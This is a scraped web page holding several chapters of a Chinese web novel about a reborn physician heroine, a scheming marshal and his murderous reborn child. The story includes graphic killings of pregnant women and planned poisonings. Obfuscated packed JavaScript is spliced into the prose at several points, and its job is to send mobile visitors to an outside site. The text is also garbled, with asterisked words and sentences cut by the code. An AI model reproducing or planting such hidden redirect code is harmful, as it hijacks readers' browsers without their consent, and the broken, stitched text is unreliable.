他没想到温令仪会来到雁门关,京中贵女虽个个都爱慕英雄,可谁有胆量和气魄往边境来,这可不是寻常,而是两国交战的时候,更不用说温令仪到了雁门关城就去了军营,这样的女子确实让人心里敬畏。 只是,她为何要见周仓?朝廷和江湖从来都泾渭分明,难道是为晏怀卿谋算? 想到晏怀卿,叶良只觉得老天都瞎了眼,那么好的女子怎么就遇到了晏怀卿这个中山狼呢? 书房里。 温令仪送上礼物后,周仓请温令仪落座。 “药王谷的关门弟子颇有些胆量,明知道穆青就在雁门关,竟也敢来赴死。”周仓像是看**一般的目光落在温令仪的身上。 温令仪没想到周仓竟只是个中年人,原本以为是个耄耋老者呢。 听到这话,温令仪微微颔首回道:“总有人要做别人不敢做的事,穆青在雁门关作恶多端,若放任不管岂不是有损天道。” 周仓眯起眼睛打量着温令仪:“小小年纪还敢妄称天道?温令仪,你可知自己在说什么?” “江湖百晓生,江湖事无所不知,若问天道,那我倒要问一句,江湖盟主墨染如今身在何处?你在雁门关意欲何为?”温令仪抬眸,笃定的看着周仓。 第175章 斩草除根,就要独宠 周仓朗声大笑:“果然,天道盟少主的母亲确实厉害,如此步步试探倒也算知道不少,不过你别忘记了,我与穆青乃是过命的交情,江湖谁人不知?” “这有什么好奇怪的?人世间任何事物都分三六九等,人心也分善恶,穆青于我来说是药王谷的败类,是心怀鬼胎又倒行逆施的当诛之人,于周大先生来说确实好友至交,不过是我们经历的事不一样罢了,我不会觉得周大先生和穆青交好,就是个能枉顾道义之人,否则也不会留在雁门关等待接应墨染了。”温令仪说。 周仓轻叹:“你到底是谁的说客?朝廷的?裴祈安的?” 温令仪摇头:“我是百姓的说客。” “不是为了让我不帮穆青,好让你顺利清理门户?”周仓笑道:“温令仪,你到底是晚辈,不知道当年穆青、天成子和上官子玉之间的事,江湖上的事情有什么能瞒得住我?梅山那次若非天成子技不如人,你和裴祈安低估了穆青,你们会让上官子玉拼了性命退穆青,你们才能安然无恙吗?” 温令仪轻轻地叹了口气没接茬儿。 周仓冷哼:“你们都以为穆青是该死之人,可你们可说明白江湖规矩?穆青投靠秦国公府固然坏了规矩,可药王谷身为江湖门派,掺和到朝廷的明争暗斗,可就不止坏了规矩那么简单,若药王谷觉得穆青该杀,药王谷要清理门户,那江湖中人也觉得药王谷无需再立足江湖,该被抹杀了。” “墨染与我有数面之缘,其人能成为盟主不单单是功夫了得,也绝不是蔡昀的辅佐就能成功的,既然周大先生什么都知道,不如说一说墨染为何能成为盟主,并且能号令江湖中人为大夏御敌在国土之外?”温令仪不给周仓说话的机会,一字一顿:“因朝廷可更迭,绝非一人的朝廷,也绝非一个姓氏的天下,但百姓生于斯长于斯更长眠于斯,他们才是大夏真正的根基,墨染是江湖人,更是心怀天下苍生的人,其并非只是侠客,更是大夏子民的守护者,而周大先生能在雁门关等着接应墨染盟主,应也是这般想的吧?” 周仓点头:“确实如此,盟主归来,江湖门派所有人都会来迎接,这是江湖中事,我周仓绝非不明道理,没有道义之人,同样,药王谷想要杀穆青,我周仓也一定会挡在前面,第一个不让!” “原来,你被穆青的蛊虫控制了。”温令仪取出来半卷书放在桌子上:“药王谷不准修炼邪门歪道的那些伎俩,但绝非对其一无所知,周大先生应该认得这是什么,杀不杀穆青,什么时候杀穆青,周大先生尽可护着,尽可推算,但穆青倒行逆施,残害雁门关将士是事实,必须死。” 温令仪说罢,起身福礼后,转身离开。 留下了周仓坐在椅子上脸色苍白,手指在椅子上轻轻地点了好几下,突然笑了。 裴祈安的女人,确实厉害。 天道盟少主的母亲,不同凡响。 而温令仪啊,绝非是在京城里表现得那般窝囊,其冰雪聪明啊。 温令仪本来只是猜测,但昨晚小囡囡说周仓在雁门关布局,目的极有可能是接应墨染和江湖中人,温令仪就笃定了心里的想法,穆青心思歹毒,早就用蛊虫控制那几个人了,若非如此,以穆青所做作为,周仓第一个就会宰了他,人生于天地间,还是有几分风骨和担当的。 受制于人确实可怜,自己能助他一臂之力,当然也能釜底抽薪,药王谷没有本事解蛊,但周仓一旦有了蛊书,必定能找到解蛊之人。 出门往外走,回头看了眼,她非但知道周仓在这里,也知道叶良就在周仓的身边,他避而不见也是好的,只是自己惦记着叶良是否能秉承初心,罢了,世间那么多事,自己怎么可能面面俱到,如今只需要等裴祈安的消息,周仓的一举一动都会在裴祈安的掌控之中的。 回到了平安客栈,温令仪有些疲惫的靠在软枕上看毒经,这些日子也不知道怎么了,总是觉得乏累,许是长途奔波,太过劳累了。 看着书竟睡着了,这一觉睡到了掌灯时分。 醒来就见小囡囡坐在自己身边,揉了揉额角:“娘亲太累了。” “嗯,爹爹也是这么说的,娘亲,我让厨房送吃喝过来。”小囡囡往外走去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845047|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 温令仪整理了衣衫起身,想到沐白师兄说晏怀卿的小妾**的事,穆青难道狗急跳墙了?显然可能性太小,就算是穆青和晏怀卿反目成仇,也不会明着就来。 除了穆青,谁还能对一个孕妇和未降生的孩子动手呢? 晏明昭! 这个名字在脑海里出现,温令仪的心都咯噔一下,晏明昭说到底才是一岁半的身量,就算是跟自己一样是重生之人,体力有限,若无人帮忙做不成**这种事吧? 显然,温令仪低估了晏明昭。 天黑下来了,元帅府里依旧没有人想起来他。 蜷缩在墙角的软草里,晏明昭静静地等着夜深人静,侧耳听着外面的动静,显然是有防备了,晏怀卿想要护住另外一个孩子,绝对不行! 晏明昭熬到了子时,外面终于安静下来了,他故技重施爬出了柴房,从水缸上下来的时候摔了一跤,握着尖刺一般的木棍悄悄地贴着墙角往慧姨娘的住处来。 来到门外发现没有任何动静,晏明昭没有贸然进去,而是蹲在暗处。 两个丫环急匆匆的回来,其中一个低声催促:“可快些,不知道得罪了什么人,咱们夫人的保胎丸忘记带了,元帅亲自守着也不行,必须得吃保胎丸。” 亲自守着? 晏明昭磨了磨牙,等两个丫环离开,他悄悄地跟在后面,晏怀卿的正院里灯火通明,他只能躲在屋后的暗处。 眼看着天都要亮了,晏明昭起身想走。 “莺歌,快去叫郎中来,我腹痛难忍。”慧姨娘一夜没敢睡,突然肚子疼的她往净房去。 晏明昭福至心灵一般迅速进了净房,就在慧姨娘坐在溺桶上的时候,他突然从侧面冲出来,拼尽全力把尖刺一般的木棍刺入了慧姨娘的肚子里。 慧姨娘转过头惊恐的看着晏明昭:“竟、竟然是你!” 晏明昭冷笑着拔下来尖刺,照着慧姨娘的脖子刺过去,上一世的记忆和一身好力气,让他得偿所愿后,迅速离开,爬进柴房,晏明昭气喘吁吁的坐在软草上,抬头吓得尖叫出声…… 第176章 请温令仪回府救命 小张氏跪坐在软草上,也是一脸惊恐。 “你!你怎么来了?”晏明昭眼里杀意涌动,若是自己所作所为被晏怀卿知道,自己是没机会长大的,他现在无力与之抗衡,只能等长大之后再作图谋,就算没人帮又如何?自己依旧要成为秦国公府的继承人,会成为少年神将,会荣耀满身。 小张氏摇头,轻轻地躺在了软草上:“为了给你求情,被打了三十大板。” 晏明昭不信,立刻过来查看,小张氏后背血肉模糊一片不是假的,他缓缓地跪坐在地上,伸出手却不敢触碰小张氏的后背。 “若知道你本事如此之大,我逃走就好了。”小张氏虚弱的说:“不过,**也好,人间极苦,极苦。” 晏明昭胸口剧烈起伏:“不行!你不能死!你必须活着!” “小公子,死对我来说是解脱。”小张氏确实觉得活着无趣,如今身体这般痛苦的时候,回想自己这一生,何曾有半分甜呢?哪怕就有半分甜,也能让自己撑一撑,偏偏自己没有。 晏明昭跑过来抓住了小张氏冰凉的手:“你必须活着,你要照顾我!你必须活着!我长大就会让你享福了。” 享福? 小张氏觉得可笑,晏明昭这样的小孩太可怕了,如果说小囡囡是天上福星来报恩的,那晏明昭就是地狱来的小魔头,晏家德行有亏何止一点半点,种种事都是败世之兆,偏偏老天都不肯给他们一个痛快,反倒更像是钝刀割肉,一点点儿把这家人蚕食干净才解恨似的。 不过就算是死,她也不想暴尸荒野,若是能在死之前见一见夫人,夫人能为自己收尸,也算圆满了。 晏明昭扑到门口,疯狂砸门:“开门!开门!我要见父亲!我要见父亲!” 小张氏看着晏明昭这幅样子,忍不住摇头,外面闹哄哄的声音很大,不用想也知道晏明昭把慧姨娘和孩子也杀了,这个时候就算晏怀卿不知道是晏明昭干的,可也绝对没工夫搭理晏明昭。 晏明昭的嗓子都喊哑了,门外一个人也没来,他回头看小张氏一眼,跑过来试了试鼻息,还活着,只是昏死过去了。 他回头看着落锁的柴门,外面的天已经亮了,小张氏再不救治会死掉,自己能长这么大都是小张氏再照顾自己,就这么一个照顾自己的人,绝不能死! 他坐下来闭目养神,也在心里盘算着如何才能不引起人注意,毕竟自己破开这扇门后,晏怀卿就极有可能怀疑到自己头上。 额头冷汗都出来了,晏明昭起身试了试小张氏微弱的鼻息,下定了决心,来到门前两只手扶着门板,双臂一用力,轰隆一声,门倒了,带倒了一大片墙。 门外看守的两个婆子连惨叫声都没发出来,被砸死当场。 晏明昭扫了眼两个人鼻口窜血的样子,冷冷的收回目光,他以为外面没人,这两个老货是故意不理自己,所以该死! 没着急出去,而是在门口坐下来,等这两个婆子彻底断气后才一溜烟儿的跑出去。 晏怀卿双目赤红的坐在椅子上,两晚,只过去了两晚,自己就绝嗣了! 偏偏府里没有任何蛛丝马迹,更可怕的是那动手的人若是还不肯罢休,下一个目标可能就是自己,堂堂元帅府怎么就跟纸糊的一般? “父亲。”晏明昭从外面跑进来,惊慌失措的跪在门口:“有人要杀昭儿,爹爹救我啊。” 晏怀卿猛地起身,自己怎么忘记了?还有晏明昭,看来下一个目标不是自己,而是晏明昭! 晏明昭爬进来,痛哭流涕但没有敢靠晏怀卿太近,可怜巴巴的看着晏怀卿,他在赌,赌晏怀卿为了血脉香烟也要把自己留下。 晏怀卿走了过来,从晏明昭眼里看到了惧意,压下心底的厌恶,伸出手。 晏明昭瑟缩的后退,眼看着那只手抓住了自己的小手。 “起来吧。”晏怀卿说。 晏明昭眼泪汹涌而出,爬起来扑到了晏怀卿的怀里:“爹爹,昭儿害怕。” “不怕。”晏怀卿轻轻地拍了拍晏明昭的后背。 晏明昭低声:“母亲要**,母亲为了昭儿。” 晏怀卿想到小张氏哭着求自己放过晏明昭时的样子,心里只觉得羞愧,小张氏照顾晏明昭的这段日子都有了母子之间的情分,而自己竟还打了她,那个满心满眼都是自己的女人,且是唯一一个。 “来人,去城外接邓二来府里。”晏怀卿下令。 吩咐人从柴房里把奄奄一息的小张氏抬出来,再看小张氏的伤势如此严重,把昨日行刑的两个婆子打了一顿扔出府去。 福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845048|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安小声说:“将军,柴房的门掉下来了,墙也塌了,安排在那边的两个婆子被砸**。” “砸**?”晏怀卿微微蹙眉,心里暗想这背地里动手的人是想要杀了晏明昭,也幸亏晏明昭跑得快才逃过一劫。 丝毫没有往晏明昭身上想。 晏明昭孝顺的跪坐在小张氏的床边,握着小张氏的手默默垂泪,那心疼的样子落在晏怀卿的眼里,只觉得自己误会了晏明昭,能如此孝顺小张氏,怎么就不会孝顺自己呢? 这么小的孩子只要悉心教导,纵然有些乖僻也无伤大雅。 最重要的是他力不从心,尽管身边女人不能缺,可除了那两个妾室怀了身孕,余下的可没有任何动静,若是晏明昭再遇害,那晏家就绝嗣了,这样的罪名可不能落在自己的头上。 邓二去而复返,饶是他专攻外伤,也被小张氏的伤势吓到了,转过身对晏怀卿深鞠一躬:“元帅,二夫人这伤太重,恐伤及五脏六腑,若想要救命单凭我一人只怕会耽误了二夫人,夫人出自药王谷,若我们二人合力,二夫人还有一线生机。” 晏怀卿起身就往外走。 晏明昭回头看着晏怀卿的背影,眼底一抹阴狠闪过。 一旁的邓二被吓了一跳,这么小的孩子,怎么会有如此恶毒的神情? 不过待他再看,晏明昭眼泪汪汪的样子太可怜,他以为自己看错了,倒也没放在心上。 平安客栈里。 沐白啧啧两声:“那动手的人挺狠,两个有孕的姨娘都**,师妹可知道是什么人动的手?” “师兄知道?”温令仪茶杯送到嘴边,抬眸问。 沐白压低声音:“是那个晏明昭。” 温令仪愣怔一瞬,转而倒也想得开,晏怀卿上一世只有晏明昭这一个孩子,所以这一世也只能有晏明昭一个,挺好的,就是自己低估了晏明昭呢。 门外守着的婆子进来:“夫人,将军求见。” 温令仪看沐白。 沐白低声:“是为了让你回去救小张氏,小张氏为晏明昭求情,被打的只剩下一口气了。” “让晏怀卿进来吧。”温令仪知道自己这一趟是必须回去了。 晏怀卿进门,走到温令仪面前深鞠一躬:“令仪,请回府救命吧。” 第177章 真以为自己对他还会有恻隐之心吗? 温令仪看晏怀卿弯下腰,放下茶盏:“救命?救谁?军中有军医在,我师叔也在,怎么也轮不到我出手。” “是府里被人盯上了。”晏怀卿知道不能耽搁,只能说:“回去的路上细说,请令仪随我回府,你可是我的妻,夫妻本一体啊。” 沐白冷笑:“你可太自以为是了,怎么着?你那些个花花事在京城荒唐也就罢了,到了雁门关还专门开了个青楼供你寻欢作乐,彼时你怎么想不到我的小师妹?这会儿倒是记起来他是你的夫人了?” 晏怀卿进来的时候就见到沐白了,这会儿就算是再难听的话也要听进去,救小张氏是重中之重,可药王谷的人去军营也是重中之重,那些将士不能再折损了,穆青靠不住,自己不能再自断根基。 思及此,把心一横撩起袍子跪下了:“令仪,是我多荒唐,你常说人命关天,不看僧面看佛面,回府吧。” 温令仪倒是受他这一跪了,没搭理晏怀卿,而是转过头对沐白说:“师兄,我们去看看吧。” “师妹要去,我自是要跟着的,免得被人害了都没有个帮手在身边。”沐白起身。 温令仪起身往外走的时候,回头问了句:“府里是谁受伤了?” “张氏。”晏怀卿起身跟上来。 温令仪眼神冷了下来,打量着晏怀卿。 晏怀卿被她看得如芒在背,只能硬着头皮说:“昭儿犯错,我略惩戒了一番,小张氏护着昭儿,我就打了她板子,下面的人下手重了,人怕要不行了。” “你可真行,小张氏当初是我请来的奶娘,你收到身边我管不着,可她照顾晏明昭尽心尽力,你怎么也不该下如此重手。”温令仪说了这么一句,迈步往外走。 沐白扫了眼晏怀卿,心里冷笑,这个男人委实薄情,何止对小张氏,那两个姨娘都怀着身孕,先后都**,也没见这个男人怎么样。 温令仪急匆匆入府,见到府里的人一个个都神色慌张,不问也知道是因为这两晚发生的事。 “人在哪里?”温令仪问晏怀卿。 晏怀卿带路。 邓二见温令仪和沐白过来了,悬着的心总算踏实了一些,他也想要趁机看看温令仪的医术如何。 “母亲,请救娘亲。”晏明昭跪在地上就给温令仪磕头。 温令仪绕过晏明昭来到床边,低声和邓二询问情况,检查伤势后,二人和沐白商量救命的法子。 “师妹!”沐白看温令仪拿出来了白瓷瓶,认出来这是师父给的保命丹药,出声:“这丹药十分贵重,你一共也就三颗,可是救命的啊。” 温令仪取出来一粒药丸用汤勺化开:“师兄,现在不是就是用来救命嘛,她的命和任何人的命一样贵重。” 灌下去保命丹,温令仪和邓二合力清理伤口,沐白给施针,怕小张氏这一口气吊不住再**。 晏明昭跪在旁边看着一盆盆血水端出去,压根儿都痒痒。 晏怀卿坐在一旁也十分紧张的盯着几个人。 伤口缝合都没机会,血肉模糊哪里能缝合上? 处理完伤口,邓二提到了紫云膏,温令仪又添减了一下份量,沐白亲自去熬药。 此时,已经到了下午。 温令仪坐下来可算能缓口气了,拿出来帕子擦拭额角和手心里的汗。 “母亲,多谢您救了娘亲。”晏明昭跪爬了几步到温令仪面前磕头。 温令仪淡淡的说:“现在还不算救活了,要看今晚能不能熬过去,若是发高热就很危险,安排几个可靠的人在这边守着。” “我守着娘亲。”晏明昭立刻爬起来,坐在了床边的脚踏上。 温令仪扫了眼晏明昭,起身往外走。 晏怀卿跟在温令仪身后出了门:“令仪,你住在府里可好?” “我没打算走啊。”温令仪转过身看晏怀卿:“今晚我也守着小张氏。” 晏怀卿欲言又止,急得搓手:“令仪,我还有事没说。” “嗯?”温令仪微微蹙眉:“怎么?你不是就让我回来救小张氏吗?还有别的事?” 晏怀卿这才把铃姨娘和慧姨娘的事说了一遍。 温令仪静静地听完,问:“你怀疑是我出手的?” “不不不,令仪就算再憎恶我,也不会伤及无辜,只是我还有事瞒着你没说。”晏怀卿吸了口气,压低声音:“能不能去书房坐下说?” 沐白环抱于胸:“晏怀卿,你休想耍花招,跟师妹说话带上我,谁知道你会不会对师妹不利啊?” “我!”晏怀卿本想说沐白多管闲事,夫妻俩的事,轮不到他横插一脚。 可若这样说,温令仪势必会护着沐白,甚至会立刻离开元帅府,点头:“好,那就带着你!” 三人在书房落座。 晏怀卿说:“穆青在雁门关。” “我知道啊,师叔不是一直都跟你在一起吗?”温令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845049|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪似是不感兴趣似的。 晏怀卿摇头:“这个人非常邪门,当初我亲眼看到他用祖父的脑子喂养蛊虫,可他说能解半边月的毒,令仪,半边月的毒十分霸道,镇国公府上亦是如此,我们都受罪了许多年,我想着人**就什么都无所谓了,得为活人着想,也想着只要能解半边月的毒,一定会先救镇国公和岳家的人。” 鬼话连篇的人啊,还觉得自己会说话呢,真是可笑至极。 “但,穆青竟然对边关将士下死手,用那些将士们豢养蛊虫,如今我百口莫辩,想要请令仪出手,能否让沐白师兄去军中常驻,只要能帮忙,我立刻上奏折跟皇上请功。”晏怀卿心里十分忐忑,不确定温令仪会不会答应。 温令仪看了沐白一眼,转过头:“好的。” 答应的这么爽快,让晏怀卿都接不上话了,看温令仪又看沐白,起身抱拳一礼:“药王谷大义,在下决不食言。” “那我们走了。”沐白起身。 晏怀卿赶紧说:“还有,还有,令仪,有刺客杀了慧姨娘和铃姨娘,两个未降世的孩子也折损了,我、我可能也命不久矣了。” “你怀疑是我出手的吗?”温令仪问。 心里只觉得可笑,晏明昭不会杀晏怀卿,上一世可十足的父慈子孝呢,不过是想要争宠罢了。 晏怀卿连连摇头:“不是,是想让令仪多加小心,住在府里我会派护卫,令仪别多心。” “好。”温令仪没什么好拒绝的,自己要离穆青近一些,唯有如此才能找机会继续下毒。 府里没有声张。 慧姨娘和铃姨娘都悄无声息的抬出去埋了。 温令仪当晚守在小张氏身边,晏明昭跪坐在床上,寸步不离。 夜深。 晏明昭抬头看了眼闭目养神的温令仪:“母亲,你难道不希望我也如此孝顺你吗?” 温令仪睁开眼睛打量着晏明昭,摇头:“你我之间并无母子缘分,而你也绝非良善之辈,你的生母是叶染秋。” “但是她把我卖了。”晏明昭笑着摇头,那模样怎么看都不像是小孩子:“我就想不明白了,为何生我?” 温令仪挑眉:“你说呢?” 都是重生来的人,跟自己耍什么花招?真以为自己对他还会有恻隐之心吗? “你想不想杀了穆青。”晏明昭突然问了这么一句,眼神定定的看着温令仪:“我可以帮忙,但有个条件。” 第178章还愁没帮手,帮手就来了 温令仪看着小张氏苍白的脸色,淡淡的说:“你若干预我的事,我不会像晏怀卿那般还有顾虑,别人都会把你当成孩子,而我不会,晏明昭,天雨虽宽不润无根之草的道理,你可能还不懂。” 晏明昭低头无言,他心里愤恨温令仪敲打自己,到如今谁也别给谁摆**阵,自己重生,她何尝不是?怪只怪自己当时口不能言,身不由己,若非占了先机,温令仪想要改变自己的命运,自己头一个就会把她抹杀,哪里会像晏怀卿那般窝囊,几次三番都不能得手! 如今自己想要的是跟随温慕阳,上一世自己的贵人便是温慕阳,从教**自己读书习武,到行军打仗,甚至到最后温慕阳为了能扶自己一把,宁愿交出项上人头,以为这样自己就能掌握晏家和温家兵权,兵权在手能为温家报仇。 呵,报仇?报什么仇?仇恨只会让人失去荣华富贵! 既然此路不通,那自己不在乎和穆青联手,若温令仪被制住,一切就会回到最开始的原点,温家在漠北,自己找到生母叶染秋假扮温令仪,那温家的一切照样唾手可得! 来到雁门关,见到了晏怀卿,晏明昭算是看透了,晏家指望不上! 小张氏没有起高热,温令仪松了口气,人在世间,说脆弱犹如蚍蜉,朝生暮死,若坚韧也犹野草一般,生生不息。 “夫人。”小张氏睁开眼睛看到温令仪,眼泪瞬间从眼角滚落,她不知自己已死里逃生,还以为是回光返照,费劲的伸出手拉住温令仪的衣袖:“夫人,我死不足惜,但不想暴尸荒野,求夫人把我葬了,一领草席就感激不尽了。” “你不会死掉的。”晏明昭立刻说:“我不会让你死掉的。” 温令仪看得很清楚,小张氏在听到晏明昭的声音后,瞳孔都撑大了,只不过很快就恢复了平静,闭嘴再也不肯说一句,她是怕说多了再被晏明昭看出端倪,给夫人徒增烦恼。 她根本不怕死,但不想让夫人为难。 “好好养着,皮肉伤一两个月就可痊愈,内伤有汤药辅佐,也不会留下病根儿。”温令仪说。 小张氏这才相信自己得救了。 只是,知道自己死里逃生却没有什么庆幸的感觉,只是觉得这样的日子过的生不如死,她现在是没办法告诉温令仪自己看到了什么,晏明昭哪里是孩子?分明就是个随时都可能**的魔头啊。 晏明昭看温令仪,再看小张氏,下床:“娘亲好好养着,有母亲给你诊脉开药,必定能好起来,儿子去找爹爹。” 小张氏没有阻止,心里还巴不得他赶紧走,自己有很多话要跟夫人说。 晏明昭急匆匆出门去,不是去找晏怀卿,而是往客院去找穆青。 等他走后,小张氏拉住衣袖:“他杀了铃姨娘和慧姨娘。” “我知道。”温令仪轻声说:“你本就不该把命都搭上,回头我安排你回京去,晏明昭留在雁门关就好。” 小张氏眼圈泛红:“夫人,我不想留在这些人跟前,我想要离开国公府。” 温令仪俯身在小张氏耳边:“到手的荣华富贵为何不要,国公府的一切最终只能是你的,他们不可能活着回去京城了。” 小张氏瞪大了眼睛。 “细情你不需知道,你只管以国公府平妻的身份经营自己的日子,这也算是你帮了我一场,我送你的造化,至于往后日子你怎么过,都随你。”温令仪坐直了身子:“总好过你如浮萍一般无所依靠,他日就算国公府不存在了,产业握在手中也足够你殷实的过这一辈子,到那个时候天底下何处不可去呢?” 小张氏明白温令仪的意思后,一个字也说不出来了。 秦国公府是要败了的。 温令仪不屑于那些产业。 自己若说为她做了什么,似乎也没做什么大事,但最终是得到好处最多的人。 温令仪是要保护自己的,因为自己现在离开,别说晏明昭放不放过自己,就是晏怀卿都不能放过自己,这父子二人都习惯了享受自己带给他们的好处了,也唯有在自己跟前才能得到他们想要的恭敬。 温令仪看了眼外面,不见晏明昭,也不见晏怀卿,心里冷笑,晏明昭是狗急跳墙了,但忘记了最重要的一个点,这么小的孩子,任凭谁都不会全然相信的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845050|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不过穆青如今同样是陷入了困局,因晏怀卿已经不受其控制了,所以两个困兽各怀心思但能一拍即合。 “我这段日子就住在府里,你只管好好养伤,若有什么事让荷香去找我,每天早晚我也会过来给你看伤势。”温令仪说。 小张氏点头,她看到夫人眼底染了红丝,应该是守了自己一夜,救命之恩啊。 温令仪出门,荷香立刻进来,抹着眼泪给小张氏擦了脸,又整理了头发。 “荷香,我饿了。”小张氏说。 荷香立刻说:“大夫人给夫人准备了药膳的方子,奴婢亲自做出来了,这就去厨房端过来。” “好。”小张氏柔声。 她本就出身低微,不管到任何时候都不会为难荷香。 也正因为这份爱护的心思,荷香跟自己情同姐妹,相处的极好,若有朝一日自己得了自由身,必定也会善待荷香的。 温令仪回到自己的院子里,从箱子里取出来几个瓷瓶放在桌子上,正想着如何巧妙的给穆青下毒,说起来自己研习毒经的时间不长,但成果还是不错的,穆青最善毒,也太自信,认为天底下的毒都伤不了他,自己恰恰是利用了这一点,去年冬日里用炭下毒,那毒会附着在穆青的经脉中,只要这第二种毒用在穆青身上,这个人会从五脏六腑开始溃烂,无药可解。 用谁下药呢? “姐姐。” 温令仪抬头就见若桃从外面走进来,一阵风似的到了自己跟前。 “你怎么来了?”温令仪问。 若桃笑了:“当然是有人请我来的啊。” 温令仪一想到晏怀卿第一次看到易容后的若桃时候的眼神,就觉得恶心,微微的眯起眼睛:“为何请你来?” “说姐姐身边没人陪着,将军府里不**生,还说沐白他们都要去大营,雁门关鱼龙混杂,我在外面不安全。”若桃笑眯眯的说:“姐姐,穆青就在将军府,不请我来,我也要来!” 温令仪微微挑眉,这不就是瞌睡遇到了枕头吗? 还愁没帮手,帮手就来了,这仇啊,该报了! 第180章 临阵倒戈,晏怀卿要灭口 温令仪嗤笑出声,抬眸打量着晏怀卿:“我们,是夫妻吗?” 这一句话问得晏怀卿脊背发寒,色厉内荏的怒喝:“如何不是夫妻了?我是三媒六聘迎娶你进门的,我们是拜过天地和祖宗的夫妻!” “我来雁门关并非为了你,你心里很清楚。”温令仪淡漠的别开目光:“晏怀卿,既要又要,你也不问问自己凭什么?” 晏怀卿连连点头:“行,行,温令仪你真行!你不是为了我来雁门关,是为了罗政是不是?” “跟罗政有什么关系?”温令仪只觉得晏怀卿是**头猪脑。 不过也是应该,毕竟真正让秦国公府再次扬名的人不是他,而是晏明昭,这个男人本事有限,却又把有限的本事都用在算计自己身上了,该是多恶心,自己上一世竟被算计到死。 晏怀卿认为自己猜对了,咬牙切齿:“罗政就是为了你来雁门关的,别以为我不知道!他到这里来就处处想要争军功,跟我针锋相对!温令仪,我明摆着告诉你!你休想离开我,罗政也休想从我手里把你抢走!” “那如果你**呢?”温令仪再看向晏怀卿的时候,眼神冷冽。 晏怀卿站了起来,微微眯起眼睛:“你要弑夫?” “你不配我动手。”温令仪慢条斯理的说:“你身边的人太多想要你死的了,你心里不是很清楚?” 这话可戳了晏怀卿的心窝子,铃姨娘和慧姨娘的死,虽然他是难过的,毕竟自己的孩子也被害**,可也没多难过,更多的是害怕,有人要杀自己,这个人是谁又没有个目标,敌在暗自己在明,防不胜防啊。 “你安排人要杀我,然后以寡妇的身份改嫁给罗政?”晏怀卿迈步靠近温令仪。 温令仪抬眸看着晏怀卿:“你的脑子里除了这点儿腌臜的勾当就没别的了吗?要不是朝中无大将,你晏怀卿真没资格镇守雁门关!祖宗给你的这点子能耐,你是都败光了。” 晏怀卿猛地停下脚步,他知道了!是皇上要杀自己夺兵权! 早就知道! 从罗政和那些武举出来的人到雁门关时候就知道了,武举还能得天子门生的称号,皇上是想要兵权独揽,罗政如此急功近利是为了表现给皇上看,他想要取而代之。 皇上是要助罗政一臂之力,又不能太明显,才会对自己的子嗣动手,要斩草除根啊! 毕竟裴祈安是得了皇上首肯,才能行走在外,不受半边月的煎熬也极有可能是皇上帮忙了,而自己如今也不受半边月的控制,显然皇上急了,还有穆青,皇上早就想要穆青了,上次要不是穆青从诏狱逃出来了,只怕所有的秘密都不是秘密了。 甚至,晏怀卿觉得皇上如此宠信裴祈安,就算知道温令仪是解毒的药引,也会没有顾及的把温令仪抓去给裴祈安解毒。 呵! 从始至终,秦国公府三代人就没在天家心里! 偏偏,晏家从最开始陪着开国之君打天下,立下了汗马功劳,而自己现在也为朝廷卖命,镇守雁门关,真真是错付了! 扫了眼温令仪,没了跟她争的心思,温令仪知道的太多了,到现在他都不能确定温令仪是否知道穆青就是冲着她来的,想要通过温令仪和温家联手已然不能,无需多言。 他拂袖而去,决定往西凉去一趟。 之前一直都下不了决心,如今已无路可退,总不能坐以待毙。 温令仪看着晏怀卿离开,微微的勾起了唇角。 晏怀卿回去书房刚坐下来,福安慌里慌张的跑进来:“不好了,世子爷不好了,穆青要杀小公子!” “果然!”晏怀卿怒急,抓着宝剑就往外跑,晏明昭是自己唯一的血脉了!绝对不能死,若是**,晏家就绝种了! 一脚踹开穆青院子的门,晏怀卿怒喝一声:“住手!” 冲进来定睛一看,晏明昭倒在地上生死不知,他身体比头脑更快,长剑直奔穆青而去。 黑衣人再次出手,晏怀卿倒飞出去撞到了墙上,反弹摔在地上口吐鲜血,拄着宝剑缓缓站起来,福安吓得尖叫出声。 